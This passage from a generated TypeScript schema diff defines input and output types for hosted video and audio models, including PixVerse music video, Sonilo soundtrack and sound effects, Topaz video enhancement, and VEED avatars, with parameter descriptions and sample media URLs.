{"content_type":"video/webm","file_name":"sample_result.webm","url":"https://cdn3.pixelcut.app/fal/video-background-removal/sample_result.webm","file_size":5489205} + * @type object + */ + video: Video2D9Fbcb1 +} + +export const inputPixverseMusicVideoVibemvAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', + '1:1': '1:1', + '4:3': '4:3', + '3:4': '3:4', +} as const + +export type InputPixverseMusicVideoVibemvAspectRatioEnumKey = + (typeof inputPixverseMusicVideoVibemvAspectRatioEnum)[keyof typeof inputPixverseMusicVideoVibemvAspectRatioEnum] + +export const inputPixverseMusicVideoVibemvMusicStyle = { + Pop: 'Pop', + Rock: 'Rock', + 'Hip Hop': 'Hip Hop', + 'R&B': 'R&B', + Jazz: 'Jazz', + Reggae: 'Reggae', + Country: 'Country', + Folk: 'Folk', + Electronic: 'Electronic', + Classical: 'Classical', + Soul: 'Soul', + Funk: 'Funk', + Metal: 'Metal', + Ambient: 'Ambient', + Others: 'Others', +} as const + +export type InputPixverseMusicVideoVibemvMusicStyleKey = + (typeof inputPixverseMusicVideoVibemvMusicStyle)[keyof typeof inputPixverseMusicVideoVibemvMusicStyle] + +export const inputPixverseMusicVideoVibemvStyleEnum = { + Custom: 'Custom', + Cinematic: 'Cinematic', + 'Lo-fi': 'Lo-fi', + Dreamscape: 'Dreamscape', + 'Woolen Felt': 'Woolen Felt', + Candy: 'Candy', + 'Golden Age': 'Golden Age', + Voxel: 'Voxel', + 'Retro Game': 'Retro Game', + Claymation: 'Claymation', + 'Woodland Tale': 'Woodland Tale', + Impressionism: 'Impressionism', + Decadence: 'Decadence', + Futuristic: 'Futuristic', + 'Chromatic Clash': 'Chromatic Clash', + Holiday: 'Holiday', +} as const + +export type InputPixverseMusicVideoVibemvStyleEnumKey = + (typeof inputPixverseMusicVideoVibemvStyleEnum)[keyof typeof inputPixverseMusicVideoVibemvStyleEnum] + +export const inputPixverseMusicVideoVibemvResolutionEnum = { + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputPixverseMusicVideoVibemvResolutionEnumKey = + (typeof inputPixverseMusicVideoVibemvResolutionEnum)[keyof typeof inputPixverseMusicVideoVibemvResolutionEnum] + +export type InputPixverseMusicVideoVibemv = { + /** + * @description Optional style reference image URL. Only used with the Custom style. + */ + style_image_url?: string | null + /** + * @description Optional character reference image URL. + */ + image_url?: string | null + /** + * @description Aspect ratio of the generated video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputPixverseMusicVideoVibemvAspectRatioEnumKey + /** + * @description URL of an MP3 or WAV file between 10 seconds and 6 minutes. + * @example https://storage.googleapis.com/falserverless/model_tests/diffrythm/rock_en.wav + * @type string + */ + audio_url: string + /** + * @description Optional musical genre used to guide the visuals. + */ + music_style?: InputPixverseMusicVideoVibemvMusicStyleKey | null + /** + * @description Visual style for the music video. + * @default 'Cinematic' + * @type string | undefined + */ + style?: InputPixverseMusicVideoVibemvStyleEnumKey + /** + * @description Optional lyrics to display as subtitles. + */ + lyrics?: string | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Resolution of the generated video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputPixverseMusicVideoVibemvResolutionEnumKey + /** + * @description Enable lip sync so characters mouth the vocals. Works best with a character reference image. + * @default false + * @type boolean | undefined + */ + lip_sync_switch?: boolean +} + +export type File7E308E23 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputPixverseMusicVideoVibemv = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","url":"https://fal.media/files/zebra/11UahivZ3XZ1tRlcEcgPq_output.mp4","content_type":"video/mp4","file_size":2995630} + * @type object + */ + video: File7E308E23 +} + +export type InputSoniloV11VideoToVideoMusic = { + /** + * @description Turn it up to match the text prompt + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + prompt_influence?: number + /** + * @description Optional text prompt steering the musical style. If omitted, a prompt is generated automatically from the video. + */ + prompt?: string | null + /** + * @description Keep the original video's speech/vocals. When on, the source audio is separated (music source separation), and only the isolated vocals are blended over the generated music with automatic ducking (the music dips under speech). When off (default), the original soundtrack is dropped and the video carries only the generated music. + * @default false + * @type boolean | undefined + */ + keep_speech_vocal?: boolean + /** + * @description Optional. Start scoring from this offset (seconds) into the video. Requires Start Offset + Duration <= Video Duration. + */ + start_offset?: number | null + /** + * @description Public http(s) URL of the source video to score. + * @example https://v3b.fal.media/files/b/0a9ddd00/2QssaYyFxstvVlmIraSns_Sonilo_Demo_Original_1.mp4 + * @type string + */ + video_url: string + /** + * @description Optional. Length (seconds) of the video segment to score. When set, scores a segment of this length starting at Start Offset (or from the beginning if Start Offset is unset). Defaults (None) to the rest of the video. + */ + duration?: number | null + /** + * @description How many distinct scored videos to generate. + * @minimum 1 + * @maximum 3 + * @default 1 + * @type integer | undefined + */ + num_samples?: number +} + +export type VideoEc396F1E = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputSoniloV11VideoToVideoMusic = { + /** + * @description All scored videos (mp4), one per sample. + * @type array + */ + videos: VideoEc396F1E[] + /** + * @description The first scored video (source video muxed with generated music). + * @type object + */ + video: VideoEc396F1E +} + +export type SfxSegment = { + /** + * @description Segment start time in seconds (from video start). The FIRST segment's start must be 0. + * @minimum 0 + * @default 0 + * @type number | undefined + */ + start?: number + /** + * @description Segment end time in seconds. Must equal the next segment's start (contiguous; no gaps/overlaps); the last segment's end must be <= the video duration. + * @minimum 0 + * @default 0 + * @type number | undefined + */ + end?: number + /** + * @description SFX / foley description for this segment. + * @default '' + * @type string | undefined + */ + prompt?: string +} + +export const inputSoniloV11VideoToVideoSoundEffectsAudioFormatEnum = { + wav: 'wav', + mp3: 'mp3', + aac: 'aac', + flac: 'flac', +} as const + +export type InputSoniloV11VideoToVideoSoundEffectsAudioFormatEnumKey = + (typeof inputSoniloV11VideoToVideoSoundEffectsAudioFormatEnum)[keyof typeof inputSoniloV11VideoToVideoSoundEffectsAudioFormatEnum] + +/** + * @description sfx-v1.0 video schema (video-to-audio / video-to-video): plain-language + * field help for the product Playground. Prompt and segments are advanced; + * flash and seed are hidden. + * @type object + */ +export type InputSoniloV11VideoToVideoSoundEffects = { + /** + * @description The video to add sound to (public URL, or upload a file). The generated audio matches the video's length. + * @example https://storage.googleapis.com/falserverless/model_tests/video_models/mmaudio_input.mp4 + * @type string + */ + video_url: string + /** + * @description Optional. Describe the kind of sound you want; it steers the generated audio for every scene. Leave empty to caption the video automatically. + */ + prompt?: string | null + /** + * @description Optional. Split the video into time ranges, each with its own sound description. Leave empty to split into scenes automatically. + */ + segments?: SfxSegment[] | null + /** + * @description Format of the returned audio file: aac (default), mp3, wav, or flac. (The video with sound is always AAC.) + * @default 'aac' + * @type string | undefined + */ + audio_format?: InputSoniloV11VideoToVideoSoundEffectsAudioFormatEnumKey + /** + * @description Keep the original video's speech/vocals. When on, the source audio is separated (music source separation) and the isolated vocals are kept as recorded, with the generated sound mixed in at a level matched to the voice; the rest of the original soundtrack (music, ambience) is dropped. Applies to the returned audio and video. When off (default), the result carries only the generated sound. + * @default false + * @type boolean | undefined + */ + keep_speech_vocal?: boolean +} + +export type VideoBb3E5627 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type Audio = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputSoniloV11VideoToVideoSoundEffects = { + /** + * @description All result videos (mp4), one per sample. + * @type array + */ + videos: VideoBb3E5627[] + /** + * @description The video with the generated sound added (mp4). If no source video was given, this is an audio-only mp4. + * @type object + */ + video: VideoBb3E5627 + /** + * @description The generated sound as a separate audio file. + * @type object + */ + audio: Audio +} + +export const inputTbcMischief1ImageToVideoPromptProcessingEnum = { + original: 'original', + enhanced: 'enhanced', +} as const + +export type InputTbcMischief1ImageToVideoPromptProcessingEnumKey = + (typeof inputTbcMischief1ImageToVideoPromptProcessingEnum)[keyof typeof inputTbcMischief1ImageToVideoPromptProcessingEnum] + +export const inputTbcMischief1ImageToVideoImageTransformEnum = { + center_crop: 'center_crop', + resize: 'resize', +} as const + +export type InputTbcMischief1ImageToVideoImageTransformEnumKey = + (typeof inputTbcMischief1ImageToVideoImageTransformEnum)[keyof typeof inputTbcMischief1ImageToVideoImageTransformEnum] + +export const inputTbcMischief1ImageToVideoDurationEnum = { + '3': 3, + '5': 5, +} as const + +export type InputTbcMischief1ImageToVideoDurationEnumKey = + (typeof inputTbcMischief1ImageToVideoDurationEnum)[keyof typeof inputTbcMischief1ImageToVideoDurationEnum] + +export const inputTbcMischief1ImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputTbcMischief1ImageToVideoResolutionEnumKey = + (typeof inputTbcMischief1ImageToVideoResolutionEnum)[keyof typeof inputTbcMischief1ImageToVideoResolutionEnum] + +export type InputTbcMischief1ImageToVideo = { + /** + * @description What happens in the video. Long, specific prompts steer WAN best. + * @minLength 1 + * @maxLength 2000 + * @example Photorealistic nighttime pumpkin field, viewed from a low fixed camera through curling vines and mist. Keep the large ribbed pumpkin in the center foreground stable in size, position, stem, and natural texture. A classic jack-o'-lantern face visibly forms on its front: two triangular eyes, a small triangular nose, and a wide jagged smiling mouth, all emitting warm orange light through clean carved openings. Finish with the transformed glowing jack-o'-lantern holding still amid the dark field, fog, and distant pumpkins. + * @type string + */ + prompt: string + /** + * @description original: render the prompt as typed (trimmed). enhanced: rewrite it against the condition image and the clip shape first. Falls back to the typed prompt when the rewrite fails or is rejected, or when rewriting is off. Either way TBC's policy service screens the prompt and the image before anything renders. + * @default 'enhanced' + * @type string | undefined + */ + prompt_processing?: InputTbcMischief1ImageToVideoPromptProcessingEnumKey + /** + * @description Omit for a random seed; the seed used is echoed back. Fixes the render only: the prompt rewrite takes no seed, so send prompt_processing=original for reproducible results. + */ + seed?: number | null + /** + * @description How the condition image is fitted to the render size: center_crop preserves aspect, resize stretches. + * @default 'center_crop' + * @type string | undefined + */ + image_transform?: InputTbcMischief1ImageToVideoImageTransformEnumKey + /** + * @description Clip length in seconds: 3 or 5. Rendered at 16 fps on the model's 4N+1 frame grid, so the clip runs slightly longer than asked: 3 s -> 49 frames (3.0625 s), 5 s -> 81 frames (5.0625 s). Billing follows the requested seconds, not the slightly longer rendered clip. + * @default 5 + * @type number | undefined + */ + duration?: InputTbcMischief1ImageToVideoDurationEnumKey + /** + * @description 480p = 832x480, 720p = 1280x720 (landscape, 16 fps). + * @default '720p' + * @type string | undefined + */ + resolution?: InputTbcMischief1ImageToVideoResolutionEnumKey + /** + * @description http(s) URL of the condition image the video starts from, at most 25 MiB and 100 megapixels. A JPEG or PNG within the endpoint's byte budget (2.5 MB by default) renders as sent; anything larger, and any other format, is re-encoded to fit (a JPEG stays JPEG, anything else becomes lossless PNG), scaled down only as far as needed and never below the requested resolution; where that resolution stops the shrink, it is sent as a JPEG of slightly lower quality instead. + * @example https://tbc-public-assests.s3.us-west-2.amazonaws.com/fal/seed-image.png + * @type string + */ + image_url: string +} + +export type FileF67E280F = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputTbcMischief1ImageToVideo = { + /** + * @description The seed that produced this video. + * @type integer + */ + seed: number + /** + * @description The generated clip (mp4, 16 fps). + * @type object + */ + video: FileF67E280F +} + +export type InputTopazDeblurVideo = { + /** + * @description Whether to use H264 codec for output video. Default is H265. + * @default false + * @type boolean | undefined + */ + H264_output?: boolean + /** + * @description URL of the video to deblur (motion deblur, Themis 2) + * @example https://v3.fal.media/files/kangaroo/y5-1YTGpun17eSeggZMzX_video-1733468228.mp4 + * @type string + */ + video_url: string + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File054508A0 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazDeblurVideo = { + /** + * @description The upscaled video file + * @example {"url":"https://v3.fal.media/files/penguin/ztj_LB4gQlW6HIfVs8zX4_upscaled.mp4"} + * @type object + */ + video: File054508A0 +} + +export const inputTopazDenoiseVideoModelEnum = { + Nyx: 'Nyx', + 'Nyx Fast': 'Nyx Fast', + 'Nyx XL': 'Nyx XL', + 'Nyx HF': 'Nyx HF', +} as const + +export type InputTopazDenoiseVideoModelEnumKey = + (typeof inputTopazDenoiseVideoModelEnum)[keyof typeof inputTopazDenoiseVideoModelEnum] + +export type InputTopazDenoiseVideo = { + /** + * @description Halo reduction level (0.0-1.0). Default varies by model. + */ + halo?: number | null + /** + * @description URL of the video to denoise + * @example https://v3.fal.media/files/kangaroo/y5-1YTGpun17eSeggZMzX_video-1733468228.mp4 + * @type string + */ + video_url: string + /** + * @description Optional upscale applied on top of denoising. 1.0 keeps the source resolution. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description Noise reduction level (0.0-1.0). Default varies by model. + */ + noise?: number | null + /** + * @description Compression artifact removal level (0.0-1.0). Default varies by model. + */ + compression?: number | null + /** + * @description Whether to use H264 codec for output video. Default is H265. + * @default false + * @type boolean | undefined + */ + H264_output?: boolean + /** + * @description Denoise model. Nyx is high-quality denoising with texture preservation; Nyx Fast trades quality for speed on high-volume workloads; Nyx XL targets extreme noise; Nyx HF is precision denoising for pipeline-ready outputs (denoise only, no upscaling). + * @default 'Nyx' + * @type string | undefined + */ + model?: InputTopazDenoiseVideoModelEnumKey + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileB3E6832B = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazDenoiseVideo = { + /** + * @description The upscaled video file + * @example {"url":"https://v3.fal.media/files/penguin/ztj_LB4gQlW6HIfVs8zX4_upscaled.mp4"} + * @type object + */ + video: FileB3E6832B +} + +export const inputTopazInterpolateVideoModelEnum = { + Apollo: 'Apollo', + Chronos: 'Chronos', + Aion: 'Aion', +} as const + +export type InputTopazInterpolateVideoModelEnumKey = + (typeof inputTopazInterpolateVideoModelEnum)[keyof typeof inputTopazInterpolateVideoModelEnum] + +export type InputTopazInterpolateVideo = { + /** + * @description Slow-motion factor: 2 makes the output twice as long at the target FPS (2x slow motion), up to 8x. 1 keeps the original speed. The extra generated frames are billed like interpolated frames. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + slowdown_factor?: number + /** + * @description Target frames per second for the interpolated output. + * @minimum 16 + * @maximum 120 + * @default 60 + * @type integer | undefined + */ + target_fps?: number + /** + * @description URL of the video to retime / interpolate + * @example https://v3.fal.media/files/kangaroo/y5-1YTGpun17eSeggZMzX_video-1733468228.mp4 + * @type string + */ + video_url: string + /** + * @description Whether to use H264 codec for output video. Default is H265. + * @default false + * @type boolean | undefined + */ + H264_output?: boolean + /** + * @description Frame interpolation model. Apollo is general-purpose; Chronos targets real-world motion; Aion handles extreme/complex motion. + * @default 'Apollo' + * @type string | undefined + */ + model?: InputTopazInterpolateVideoModelEnumKey + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileD6108B8F = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazInterpolateVideo = { + /** + * @description The upscaled video file + * @example {"url":"https://v3.fal.media/files/penguin/ztj_LB4gQlW6HIfVs8zX4_upscaled.mp4"} + * @type object + */ + video: FileD6108B8F +} + +export const inputTopazSdrToHdrVideoOutputFormatEnum = { + mp4: 'mp4', + prores: 'prores', +} as const + +export type InputTopazSdrToHdrVideoOutputFormatEnumKey = + (typeof inputTopazSdrToHdrVideoOutputFormatEnum)[keyof typeof inputTopazSdrToHdrVideoOutputFormatEnum] + +export type InputTopazSdrToHdrVideo = { + /** + * @description URL of the SDR video to convert to HDR + * @example https://v3.fal.media/files/kangaroo/y5-1YTGpun17eSeggZMzX_video-1733468228.mp4 + * @type string + */ + video_url: string + /** + * @description Output container/codec: mp4 delivers 10-bit H265 HDR10; prores delivers 10-bit ProRes 422 HQ in a .mov, Topaz's recommended format for grading and mastering workflows (much larger files). + * @default 'mp4' + * @type string | undefined + */ + output_format?: InputTopazSdrToHdrVideoOutputFormatEnumKey + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File197273A6 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazSdrToHdrVideo = { + /** + * @description The upscaled video file + * @example {"url":"https://v3.fal.media/files/penguin/ztj_LB4gQlW6HIfVs8zX4_upscaled.mp4"} + * @type object + */ + video: File197273A6 +} + +export type InputTopazUpscaleVideoCreative = { + /** + * @description URL of the video to upscale + * @example https://v3.fal.media/files/kangaroo/y5-1YTGpun17eSeggZMzX_video-1733468228.mp4 + * @type string + */ + video_url: string + /** + * @description Requested upscale factor (e.g. 2.0 doubles width and height). Note: Astra 2 snaps to its own supported output resolutions (typically 4K when upscaling) and may override the requested target. Billing is based on the delivered resolution. + * @minimum 1 + * @maximum 4 + * @default 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description Bias generated detail toward photorealism (0.0-1.0). + */ + realism?: number | null + /** + * @description Optional text prompt guiding the detail Astra 2 generates. When set, the input video is limited to 450 frames. + */ + prompt?: string | null + /** + * @description Target FPS for the output. Frame interpolation is enabled only when this differs from the source FPS. + */ + target_fps?: number | null + /** + * @description Whether to use H264 codec for output video. Default is H265. + * @default false + * @type boolean | undefined + */ + H264_output?: boolean + /** + * @description Output sharpness. 0.0 softens, 0.5 is neutral passthrough, 1.0 applies strong sharpening. Defaults to Topaz's neutral 0.5. + */ + sharp?: number | null + /** + * @description How much new detail and texture Astra 2 invents. 0.0 stays faithful to the source, 1.0 is maximally creative. + * @minimum 0 + * @maximum 1 + * @default 0.5 + * @type number | undefined + */ + creativity?: number + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileA28029Ad = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazUpscaleVideoCreative = { + /** + * @description The upscaled video file + * @example {"url":"https://v3.fal.media/files/penguin/ztj_LB4gQlW6HIfVs8zX4_upscaled.mp4"} + * @type object + */ + video: FileA28029Ad +} + +export const inputTopazUpscaleVideoGenerativeModelEnum = { + 'Starlight Precise 2.6': 'Starlight Precise 2.6', + 'Starlight HQ': 'Starlight HQ', + 'Starlight Mini': 'Starlight Mini', + 'Starlight Sharp': 'Starlight Sharp', + 'Starlight Fast 2': 'Starlight Fast 2', +} as const + +export type InputTopazUpscaleVideoGenerativeModelEnumKey = + (typeof inputTopazUpscaleVideoGenerativeModelEnum)[keyof typeof inputTopazUpscaleVideoGenerativeModelEnum] + +export type InputTopazUpscaleVideoGenerative = { + /** + * @description How much softening the model applies to the output, from 1 (sharpest) to 5 (softest). Starlight Precise 2.6 only; leave unset for Topaz's default. + */ + softness?: number | null + /** + * @description Target FPS for the output. Frame interpolation is enabled only when this differs from the source FPS. + */ + target_fps?: number | null + /** + * @description Whether to use H264 codec for output video. Default is H265. + * @default false + * @type boolean | undefined + */ + H264_output?: boolean + /** + * @description URL of the video to upscale + * @example https://v3.fal.media/files/kangaroo/y5-1YTGpun17eSeggZMzX_video-1733468228.mp4 + * @type string + */ + video_url: string + /** + * @description Factor to upscale the video by (e.g. 2.0 doubles width and height) + * @minimum 1 + * @maximum 4 + * @default 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Generative diffusion enhancement model. Starlight Precise 2.6 adds realism to AI-generated video; Starlight HQ maximizes quality on high-resolution sources; Starlight Mini restores archival footage; Starlight Sharp is fast restoration with sharper detail; Starlight Fast 2 is the fastest, cheapest diffusion upscaler. + * @default 'Starlight Precise 2.6' + * @type string | undefined + */ + model?: InputTopazUpscaleVideoGenerativeModelEnumKey +} + +export type FileD3E50112 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazUpscaleVideoGenerative = { + /** + * @description The upscaled video file + * @example {"url":"https://v3.fal.media/files/penguin/ztj_LB4gQlW6HIfVs8zX4_upscaled.mp4"} + * @type object + */ + video: FileD3E50112 +} + +export const inputTopazUpscaleVideoPrecisionModelEnum = { + Proteus: 'Proteus', + 'Proteus Natural': 'Proteus Natural', + Iris: 'Iris', + 'Iris Low Quality': 'Iris Low Quality', + 'Dione DV': 'Dione DV', + 'Dione TV': 'Dione TV', + 'Dione Robust': 'Dione Robust', + 'Dione Dehalo': 'Dione Dehalo', + 'Dione Robust Dehalo': 'Dione Robust Dehalo', + 'Artemis High Quality': 'Artemis High Quality', + 'Artemis Medium Quality': 'Artemis Medium Quality', + 'Artemis Low Quality': 'Artemis Low Quality', + 'Artemis Strong Halo': 'Artemis Strong Halo', + 'Artemis Medium Halo': 'Artemis Medium Halo', + 'Artemis Aliasing & Moire': 'Artemis Aliasing & Moire', + 'Gaia HQ': 'Gaia HQ', + 'Gaia CG': 'Gaia CG', + 'Gaia 2': 'Gaia 2', + Rhea: 'Rhea', + 'Theia Fine Tune Detail': 'Theia Fine Tune Detail', + 'Theia Fine Tune Fidelity': 'Theia Fine Tune Fidelity', +} as const + +export type InputTopazUpscaleVideoPrecisionModelEnumKey = + (typeof inputTopazUpscaleVideoPrecisionModelEnum)[keyof typeof inputTopazUpscaleVideoPrecisionModelEnum] + +export type InputTopazUpscaleVideoPrecision = { + /** + * @description Film grain amount (0.0-0.1). Default varies by model. + */ + grain?: number | null + /** + * @description Halo reduction level (0.0-1.0). Default varies by model. + */ + halo?: number | null + /** + * @description URL of the video to upscale + * @example https://v3.fal.media/files/kangaroo/y5-1YTGpun17eSeggZMzX_video-1733468228.mp4 + * @type string + */ + video_url: string + /** + * @description Factor to upscale the video by (e.g. 2.0 doubles width and height) + * @minimum 1 + * @maximum 4 + * @default 2 + * @type number | undefined + */ + upscale_factor?: number + /** + * @description Recover original detail level (0.0-1.0). Higher values preserve more original detail. + */ + recover_detail?: number | null + /** + * @description Noise reduction level (0.0-1.0). Default varies by model. + */ + noise?: number | null + /** + * @description Compression artifact removal level (0.0-1.0). Default varies by model. + */ + compression?: number | null + /** + * @description Whether to use H264 codec for output video. Default is H265. + * @default false + * @type boolean | undefined + */ + H264_output?: boolean + /** + * @description Target FPS for the output. Frame interpolation is enabled only when this differs from the source FPS. + */ + target_fps?: number | null + /** + * @description Precision (non-generative) enhancement model. Proteus fits most real-world footage; Proteus Natural is a softer variant; Iris recovers faces; Dione deinterlaces legacy/interlaced sources; Artemis denoises and sharpens degraded footage; Gaia refines high-quality footage and CG (Gaia 2 upscales animation at 2x); Rhea maximizes fine detail via an internal 4x pass; Theia gives manual detail/fidelity control. + * @default 'Proteus' + * @type string | undefined + */ + model?: InputTopazUpscaleVideoPrecisionModelEnumKey + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File75Bb926A = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputTopazUpscaleVideoPrecision = { + /** + * @description The upscaled video file + * @example {"url":"https://v3.fal.media/files/penguin/ztj_LB4gQlW6HIfVs8zX4_upscaled.mp4"} + * @type object + */ + video: File75Bb926A +} + +/** + * @description Offer forwarded by the WMA bridge. + * @type object + */ +export type InputVastEdenLive14BVideo = { + session_id?: string | null + credential_age_seconds?: number | null + ice_status?: string | null + sdp: string + /** + * @default 'offer' + * @type string | undefined + */ + type?: 'offer' + ice_servers?: object[] +} + +export type OutputVastEdenLive14BVideo = unknown + +/** + * @description Offer forwarded by the WMA bridge. + * @type object + */ +export type InputVastEdenLive5BVideo = { + credential_age_seconds?: number | null + ice_status?: string | null + sdp: string + ice_servers?: object[] + session_id?: string | null + /** + * @default 'offer' + * @type string | undefined + */ + type?: 'offer' +} + +export type OutputVastEdenLive5BVideo = unknown + +export const inputVeedAvatarsAudioToVideoAvatarIdEnum = { + emily_vertical_primary: 'emily_vertical_primary', + emily_vertical_secondary: 'emily_vertical_secondary', + marcus_vertical_primary: 'marcus_vertical_primary', + marcus_vertical_secondary: 'marcus_vertical_secondary', + mira_vertical_primary: 'mira_vertical_primary', + mira_vertical_secondary: 'mira_vertical_secondary', + jasmine_vertical_primary: 'jasmine_vertical_primary', + jasmine_vertical_secondary: 'jasmine_vertical_secondary', + jasmine_vertical_walking: 'jasmine_vertical_walking', + aisha_vertical_walking: 'aisha_vertical_walking', + elena_vertical_primary: 'elena_vertical_primary', + elena_vertical_secondary: 'elena_vertical_secondary', + any_male_vertical_primary: 'any_male_vertical_primary', + any_female_vertical_primary: 'any_female_vertical_primary', + any_male_vertical_secondary: 'any_male_vertical_secondary', + any_female_vertical_secondary: 'any_female_vertical_secondary', + any_female_vertical_walking: 'any_female_vertical_walking', + emily_primary: 'emily_primary', + emily_side: 'emily_side', + marcus_primary: 'marcus_primary', + marcus_side: 'marcus_side', + aisha_walking: 'aisha_walking', + elena_primary: 'elena_primary', + elena_side: 'elena_side', + any_male_primary: 'any_male_primary', + any_female_primary: 'any_female_primary', + any_male_side: 'any_male_side', + any_female_side: 'any_female_side', +} as const + +export type InputVeedAvatarsAudioToVideoAvatarIdEnumKey = + (typeof inputVeedAvatarsAudioToVideoAvatarIdEnum)[keyof typeof inputVeedAvatarsAudioToVideoAvatarIdEnum] + +export type InputVeedAvatarsAudioToVideo = { + /** + * @description + * Format: `uri` + * @minLength 1 + * @maxLength 2083 + * @example https://v3.fal.media/files/lion/OXiM5_Cve4kQ0ZcXmVzq4_product_presentation.mp3 + * @type string + */ + audio_url: string + /** + * @description The avatar to use for the video + * @type string + */ + avatar_id: InputVeedAvatarsAudioToVideoAvatarIdEnumKey +} + +export type FileAa9Ab9Cd = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputVeedAvatarsAudioToVideo = { + /** + * @example {"content_type":"video/mp4","url":"https://v3.fal.media/files/panda/kt9d4vZ8Mfw_WzYnvr2Q0_tmp0ir4znsr.mp4"} + * @type object + */ + video: FileAa9Ab9Cd +} + +export const inputVeedAvatarsTextToVideoAvatarIdEnum = { + emily_vertical_primary: 'emily_vertical_primary', + emily_vertical_secondary: 'emily_vertical_secondary', + marcus_vertical_primary: 'marcus_vertical_primary', + marcus_vertical_secondary: 'marcus_vertical_secondary', + mira_vertical_primary: 'mira_vertical_primary', + mira_vertical_secondary: 'mira_vertical_secondary', + jasmine_vertical_primary: 'jasmine_vertical_primary', + 